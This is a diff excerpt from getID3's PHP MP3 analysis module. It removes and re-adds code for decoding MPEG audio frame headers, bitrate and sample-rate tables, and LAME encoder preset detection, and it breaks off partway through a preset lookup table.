(!preg_match('#_distribution$#i', $key1)) { - continue; - } - foreach ($value1 as $key2 => $value2) { - $info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned); - } - } - } - - if ($SynchErrorsFound > 0) { - $this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis'); - //return false; - } - - $bittotal = 0; - $framecounter = 0; - foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) { - $framecounter += $bitratecount; - if ($bitratevalue != 'free') { - $bittotal += ($bitratevalue * $bitratecount); - } - } - if ($framecounter == 0) { - $this->error('Corrupt MP3 file: framecounter == zero'); - return false; - } - $info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter); - $info['mpeg']['audio']['bitrate'] = ($bittotal / $framecounter); - - $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; - - - // Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently - $distinct_bitrates = 0; - foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) { - if ($bitrate_count > 0) { - $distinct_bitrates++; - } - } - if ($distinct_bitrates > 1) { - $info['mpeg']['audio']['bitrate_mode'] = 'vbr'; - } else { - $info['mpeg']['audio']['bitrate_mode'] = 'cbr'; - } - $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; - - } - - break; // exit while() - } - } - - $SynchSeekOffset++; - if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) { - // end of file/data - - if (empty($info['mpeg']['audio'])) { - - $this->error('could not find valid MPEG synch before end of file'); - if (isset($info['audio']['bitrate'])) { - unset($info['audio']['bitrate']); - } - if (isset($info['mpeg']['audio'])) { - unset($info['mpeg']['audio']); - } - if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) { - unset($info['mpeg']); - } - return false; - - } - break; - } - - } - $info['audio']['channels'] = $info['mpeg']['audio']['channels']; - $info['audio']['channelmode'] = $info['mpeg']['audio']['channelmode']; - $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; - return true; - } - - /** - * @return array - */ - public static function MPEGaudioVersionArray() { - static $MPEGaudioVersion = array('2.5', false, '2', '1'); - return $MPEGaudioVersion; - } - - /** - * @return array - */ - public static function MPEGaudioLayerArray() { - static $MPEGaudioLayer = array(false, 3, 2, 1); - return $MPEGaudioLayer; - } - - /** - * @return array - */ - public static function MPEGaudioBitrateArray() { - static $MPEGaudioBitrate; - if (empty($MPEGaudioBitrate)) { - $MPEGaudioBitrate = array ( - '1' => array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000), - 2 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000), - 3 => array('free', 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000) - ), - - '2' => array (1 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000), - 2 => array('free', 8000, 16000, 24000, 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000), - ) - ); - $MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2]; - $MPEGaudioBitrate['2.5'] = $MPEGaudioBitrate['2']; - } - return $MPEGaudioBitrate; - } - - /** - * @return array - */ - public static function MPEGaudioFrequencyArray() { - static $MPEGaudioFrequency; - if (empty($MPEGaudioFrequency)) { - $MPEGaudioFrequency = array ( - '1' => array(44100, 48000, 32000), - '2' => array(22050, 24000, 16000), - '2.5' => array(11025, 12000, 8000) - ); - } - return $MPEGaudioFrequency; - } - - /** - * @return array - */ - public static function MPEGaudioChannelModeArray() { - static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono'); - return $MPEGaudioChannelMode; - } - - /** - * @return array - */ - public static function MPEGaudioModeExtensionArray() { - static $MPEGaudioModeExtension; - if (empty($MPEGaudioModeExtension)) { - $MPEGaudioModeExtension = array ( - 1 => array('4-31', '8-31', '12-31', '16-31'), - 2 => array('4-31', '8-31', '12-31', '16-31'), - 3 => array('', 'IS', 'MS', 'IS+MS') - ); - } - return $MPEGaudioModeExtension; - } - - /** - * @return array - */ - public static function MPEGaudioEmphasisArray() { - static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17'); - return $MPEGaudioEmphasis; - } - - /** - * @param string $head4 - * @param bool $allowBitrate15 - * - * @return bool - */ - public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) { - return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15); - } - - /** - * @param array $rawarray - * @param bool $echoerrors - * @param bool $allowBitrate15 - * - * @return bool - */ - public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) { - if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) { - return false; - } - - static $MPEGaudioVersionLookup; - static $MPEGaudioLayerLookup; - static $MPEGaudioBitrateLookup; - static $MPEGaudioFrequencyLookup; - static $MPEGaudioChannelModeLookup; - static $MPEGaudioModeExtensionLookup; - static $MPEGaudioEmphasisLookup; - if (empty($MPEGaudioVersionLookup)) { - $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); - $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); - $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); - $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); - $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); - $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); - $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); - } - - if (isset($MPEGaudioVersionLookup[$rawarray['version']])) { - $decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']]; - } else { - echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : ''); - return false; - } - if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) { - $decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']]; - } else { - echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : ''); - return false; - } - if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) { - echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : ''); - if ($rawarray['bitrate'] == 15) { - // known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0 - // let it go through here otherwise file will not be identified - if (!$allowBitrate15) { - return false; - } - } else { - return false; - } - } - if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) { - echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : ''); - return false; - } - if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) { - echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : ''); - return false; - } - if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) { - echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : ''); - return false; - } - if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) { - echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : ''); - return false; - } - // These are just either set or not set, you can't mess that up :) - // $rawarray['protection']; - // $rawarray['padding']; - // $rawarray['private']; - // $rawarray['copyright']; - // $rawarray['original']; - - return true; - } - - /** - * @param string $Header4Bytes - * - * @return array|false - */ - public static function MPEGaudioHeaderDecode($Header4Bytes) { - // AAAA AAAA AAAB BCCD EEEE FFGH IIJJ KLMM - // A - Frame sync (all bits set) - // B - MPEG Audio version ID - // C - Layer description - // D - Protection bit - // E - Bitrate index - // F - Sampling rate frequency index - // G - Padding bit - // H - Private bit - // I - Channel Mode - // J - Mode extension (Only if Joint stereo) - // K - Copyright - // L - Original - // M - Emphasis - - if (strlen($Header4Bytes) != 4) { - return false; - } - - $MPEGrawHeader = array(); - $MPEGrawHeader['synch'] = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4; - $MPEGrawHeader['version'] = (ord($Header4Bytes[1]) & 0x18) >> 3; // BB - $MPEGrawHeader['layer'] = (ord($Header4Bytes[1]) & 0x06) >> 1; // CC - $MPEGrawHeader['protection'] = (ord($Header4Bytes[1]) & 0x01); // D - $MPEGrawHeader['bitrate'] = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE - $MPEGrawHeader['sample_rate'] = (ord($Header4Bytes[2]) & 0x0C) >> 2; // FF - $MPEGrawHeader['padding'] = (ord($Header4Bytes[2]) & 0x02) >> 1; // G - $MPEGrawHeader['private'] = (ord($Header4Bytes[2]) & 0x01); // H - $MPEGrawHeader['channelmode'] = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II - $MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; // JJ - $MPEGrawHeader['copyright'] = (ord($Header4Bytes[3]) & 0x08) >> 3; // K - $MPEGrawHeader['original'] = (ord($Header4Bytes[3]) & 0x04) >> 2; // L - $MPEGrawHeader['emphasis'] = (ord($Header4Bytes[3]) & 0x03); // MM - - return $MPEGrawHeader; - } - - /** - * @param int|string $bitrate - * @param string $version - * @param string $layer - * @param bool $padding - * @param int $samplerate - * - * @return int|false - */ - public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) { - static $AudioFrameLengthCache = array(); - - if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) { - $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false; - if ($bitrate != 'free') { - - if ($version == '1') { - - if ($layer == '1') { - - // For Layer I slot is 32 bits long - $FrameLengthCoefficient = 48; - $SlotLength = 4; - - } else { // Layer 2 / 3 - - // for Layer 2 and Layer 3 slot is 8 bits long. - $FrameLengthCoefficient = 144; - $SlotLength = 1; - - } - - } else { // MPEG-2 / MPEG-2.5 - - if ($layer == '1') { - - // For Layer I slot is 32 bits long - $FrameLengthCoefficient = 24; - $SlotLength = 4; - - } elseif ($layer == '2') { - - // for Layer 2 and Layer 3 slot is 8 bits long. - $FrameLengthCoefficient = 144; - $SlotLength = 1; - - } else { // layer 3 - - // for Layer 2 and Layer 3 slot is 8 bits long. - $FrameLengthCoefficient = 72; - $SlotLength = 1; - - } - - } - - // FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding - if ($samplerate > 0) { - $NewFramelength = ($FrameLengthCoefficient * $bitrate) / $samplerate; - $NewFramelength = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I) - if ($padding) { - $NewFramelength += $SlotLength; - } - $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength; - } - } - } - return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate]; - } - - /** - * @param float|int $bit_rate - * - * @return int|float|string - */ - public static function ClosestStandardMP3Bitrate($bit_rate) { - static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000); - static $bit_rate_table = array (0=>'-'); - $round_bit_rate = intval(round($bit_rate, -3)); - if (!isset($bit_rate_table[$round_bit_rate])) { - if ($round_bit_rate > max($standard_bit_rates)) { - $bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate)); - } else { - $bit_rate_table[$round_bit_rate] = max($standard_bit_rates); - foreach ($standard_bit_rates as $standard_bit_rate) { - if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) { - break; - } - $bit_rate_table[$round_bit_rate] = $standard_bit_rate; - } - } - } - return $bit_rate_table[$round_bit_rate]; - } - - /** - * @param string $version - * @param string $channelmode - * - * @return int - */ - public static function XingVBRidOffset($version, $channelmode) { - static $XingVBRidOffsetCache = array(); - if (empty($XingVBRidOffsetCache)) { - $XingVBRidOffsetCache = array ( - '1' => array ('mono' => 0x15, // 4 + 17 = 21 - 'stereo' => 0x24, // 4 + 32 = 36 - 'joint stereo' => 0x24, - 'dual channel' => 0x24 - ), - - '2' => array ('mono' => 0x0D, // 4 + 9 = 13 - 'stereo' => 0x15, // 4 + 17 = 21 - 'joint stereo' => 0x15, - 'dual channel' => 0x15 - ), - - '2.5' => array ('mono' => 0x15, - 'stereo' => 0x15, - 'joint stereo' => 0x15, - 'dual channel' => 0x15 - ) - ); - } - return $XingVBRidOffsetCache[$version][$channelmode]; - } - - /** - * @param int $VBRmethodID - * - * @return string - */ - public static function LAMEvbrMethodLookup($VBRmethodID) { - static $LAMEvbrMethodLookup = array( - 0x00 => 'unknown', - 0x01 => 'cbr', - 0x02 => 'abr', - 0x03 => 'vbr-old / vbr-rh', - 0x04 => 'vbr-new / vbr-mtrh', - 0x05 => 'vbr-mt', - 0x06 => 'vbr (full vbr method 4)', - 0x08 => 'cbr (constant bitrate 2 pass)', - 0x09 => 'abr (2 pass)', - 0x0F => 'reserved' - ); - return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : ''); - } - - /** - * @param int $StereoModeID - * - * @return string - */ - public static function LAMEmiscStereoModeLookup($StereoModeID) { - static $LAMEmiscStereoModeLookup = array( - 0 => 'mono', - 1 => 'stereo', - 2 => 'dual mono', - 3 => 'joint stereo', - 4 => 'forced stereo', - 5 => 'auto', - 6 => 'intensity stereo', - 7 => 'other' - ); - return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : ''); - } - - /** - * @param int $SourceSampleFrequencyID - * - * @return string - */ - public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) { - static $LAMEmiscSourceSampleFrequencyLookup = array( - 0 => '<= 32 kHz', - 1 => '44.1 kHz', - 2 => '48 kHz', - 3 => '> 48kHz' - ); - return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : ''); - } - - /** - * @param int $SurroundInfoID - * - * @return string - */ - public static function LAMEsurroundInfoLookup($SurroundInfoID) { - static $LAMEsurroundInfoLookup = array( - 0 => 'no surround info', - 1 => 'DPL encoding', - 2 => 'DPL2 encoding', - 3 => 'Ambisonic encoding' - ); - return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved'); - } - - /** - * @param array $LAMEtag - * - * @return string - */ - public static function LAMEpresetUsedLookup($LAMEtag) { - - if ($LAMEtag['preset_used_id'] == 0) { - // no preset used (LAME >=3.93) - // no preset recorded (LAME <3.93) - return ''; - } - $LAMEpresetUsedLookup = array(); - - ///// THIS PART CANNOT BE STATIC . - for ($i = 8; $i <= 320; $i++) { - switch ($LAMEtag['vbr_method']) { - case 'cbr': - $LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i; - break; - case 'abr': - default: // other VBR modes shouldn't be here(?) - $LAMEpresetUsedLookup[$i] = '--alt-preset '.$i; - break; - } - } - - // named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions() - - // named alt-presets - $LAMEpresetUsedLookup[1000] = '--r3mix'; - $LAMEpresetUsedLookup[1001] = '--alt-preset standard'; - $LAMEpresetUsedLookup[1002] = '--alt-preset extreme'; - $LAMEpresetUsedLookup[1003] = '--alt-preset insane'; - $LAMEpresetUsedLookup[1004] = '--alt-preset fast standard'; - $LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme'; - $LAMEpresetUsedLookup[1006] = '--alt-preset medium'; - $LAMEpresetUsedLookup[1007] = '--alt-preset fast medium'; - - // LAME 3.94 additions/changes - $LAMEpresetUsedLookup[1010] = '--preset portable'; // 3.94a15 Oct 21 2003 - $LAMEpresetUsedLookup[1015] = '--preset radio'; // 3.94a15 Oct 21 2003 - - $LAMEpresetUsedLookup[320] = '--preset insane'; // 3.94a15 Nov 12 2003 - $LAMEpresetUsedLookup[410] = '-V9'; - $LAMEpresetUsedLookup[420] = '-V8'; - $LAMEpresetUsedLookup[440] = '-V6'; - $LAMEpresetUsedLookup[430] = '--preset radio'; // 3.94a15 Nov 12 2003 - $LAMEpresetUsedLookup[450] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable'; // 3.94a15 Nov 12 2003 - $LAMEpresetUsedLookup[460] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium'; // 3.94a15 Nov 12 2003 - $LAMEpresetUsedLookup[470] = '--r3mix'; // 3.94b1 Dec 18 2003 - $LAMEpresetUsedLookup[480] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard'; // 3.94a15 Nov 12 2003 - $LAMEpresetUsedLookup[490] = '-V1'; - $LAMEpresetUsedLookup[500] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme'; // 3.94a15 Nov 12 2003 - - return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org'); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.mp3.php // +// module for analyzing MP3 files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + + +class getid3_mp3 extends getid3_handler +{ + /** + * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, + * unrecommended, but may provide data from otherwise-unusable files. + * + * @var bool + */ + public $allow_bruteforce = false; + + /** + * number of frames to scan to determine if MPEG-audio sequence is valid + * Lower this number to 5-20 for faster scanning + * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams + * + * @var int + */ + public $mp3_valid_check_frames = 50; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $initialOffset = $info['avdataoffset']; + + if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) { + if ($this->allow_bruteforce) { + $this->error('Rescanning file in BruteForce mode'); + $this->getOnlyMPEGaudioInfoBruteForce(); + } + } + + + if (isset($info['mpeg']['audio']['bitrate_mode'])) { + $info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']); + } + + $CurrentDataLAMEversionString = null; + if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) { + + $synchoffsetwarning = 'Unknown data before synch '; + if (isset($info['id3v2']['headerlength'])) { + $synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, '; + } elseif ($initialOffset > 0) { + $synchoffsetwarning .= '(should be at '.$initialOffset.', '; + } else { + $synchoffsetwarning .= '(should be at beginning of file, '; + } + $synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')'; + if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) { + + if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) { + + $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.'; + $info['audio']['codec'] = 'LAME'; + $CurrentDataLAMEversionString = 'LAME3.'; + + } elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) { + + $synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.'; + $info['audio']['codec'] = 'LAME'; + $CurrentDataLAMEversionString = 'LAME3.'; + + } + + } + $this->warning($synchoffsetwarning); + + } + + if (isset($info['mpeg']['audio']['LAME'])) { + $info['audio']['codec'] = 'LAME'; + if (!empty($info['mpeg']['audio']['LAME']['long_version'])) { + $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00"); + } elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) { + $info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00"); + } + } + + $CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : '')); + if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) { + // a version number of LAME that does not end with a number like "LAME3.92" + // or with a closing parenthesis like "LAME3.88 (alpha)" + // or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92) + + // not sure what the actual last frame length will be, but will be less than or equal to 1441 + $PossiblyLongerLAMEversion_FrameLength = 1441; + + // Not sure what version of LAME this is - look in padding of last frame for longer version string + $PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength; + $this->fseek($PossibleLAMEversionStringOffset); + $PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength); + switch (substr($CurrentDataLAMEversionString, -1)) { + case 'a': + case 'b': + // "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example + // need to trim off "a" to match longer string + $CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1); + break; + } + if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) { + if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) { + $PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3" "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)" + if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) { + if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) { + if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) { + // "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar + $info['mpeg']['audio']['LAME']['short_version'] = $matches[0]; + } + } + $info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString; + } + } + } + } + if (!empty($info['audio']['encoder'])) { + $info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 "); + } + + switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') { + case 1: + case 2: + $info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer']; + break; + } + if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) { + switch ($info['audio']['dataformat']) { + case 'mp1': + case 'mp2': + case 'mp3': + $info['fileformat'] = $info['audio']['dataformat']; + break; + + default: + $this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"'); + break; + } + } + + if (empty($info['fileformat'])) { + unset($info['fileformat']); + unset($info['audio']['bitrate_mode']); + unset($info['avdataoffset']); + unset($info['avdataend']); + return false; + } + + $info['mime_type'] = 'audio/mpeg'; + $info['audio']['lossless'] = false; + + // Calculate playtime + if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) { + // https://github.com/JamesHeinrich/getID3/issues/161 + // VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored + $xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0); + + $info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate']; + } + + $info['audio']['encoder_options'] = $this->GuessEncoderOptions(); + + return true; + } + + /** + * @return string + */ + public function GuessEncoderOptions() { + // shortcuts + $info = &$this->getid3->info; + $thisfile_mpeg_audio = array(); + $thisfile_mpeg_audio_lame = array(); + if (!empty($info['mpeg']['audio'])) { + $thisfile_mpeg_audio = &$info['mpeg']['audio']; + if (!empty($thisfile_mpeg_audio['LAME'])) { + $thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME']; + } + } + + $encoder_options = ''; + static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256); + + if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) { + + $encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality']; + + } elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) { + + $encoder_options = $thisfile_mpeg_audio_lame['preset_used']; + + } elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) { + + static $KnownEncoderValues = array(); + if (empty($KnownEncoderValues)) { + + //$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name'; + $KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane'; // 3.90, 3.90.1, 3.92 + $KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane'; // 3.90.2, 3.90.3, 3.91 + $KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane'; // 3.94, 3.95 + $KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme'; // 3.90, 3.90.1, 3.92 + $KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme'; // 3.90.2, 3.91 + $KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme'; // 3.90.3 + $KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme'; // 3.90, 3.90.1, 3.92 + $KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme'; // 3.90.2, 3.90.3, 3.91 + $KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard'; // 3.90.3 + $KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3 + $KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix'; // 3.90, 3.90.1, 3.92 + $KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix'; // 3.90.2, 3.90.3, 3.91 + $KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix'; // 3.94, 3.95 + $KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium'; // 3.90.3 + $KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium'; // 3.90.3 + + $KnownEncoderValues[0xFF][99][1][1][1][2][0] = '--preset studio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio'; // 3.90.3, 3.93.1 + $KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio'; // 3.93 + $KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio'; // 3.94, 3.95 + $KnownEncoderValues[0xC0][88][1][1][1][2][0] = '--preset cd'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd'; // 3.90.3, 3.93.1 + $KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd'; // 3.93 + $KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd'; // 3.94, 3.95 + $KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi'; // 3.90.3, 3.93, 3.93.1 + $KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi'; // 3.94, 3.95 + $KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + $KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm'; // 3.90, 3.90.1, 3.90.2, 3.91, 3.92 + 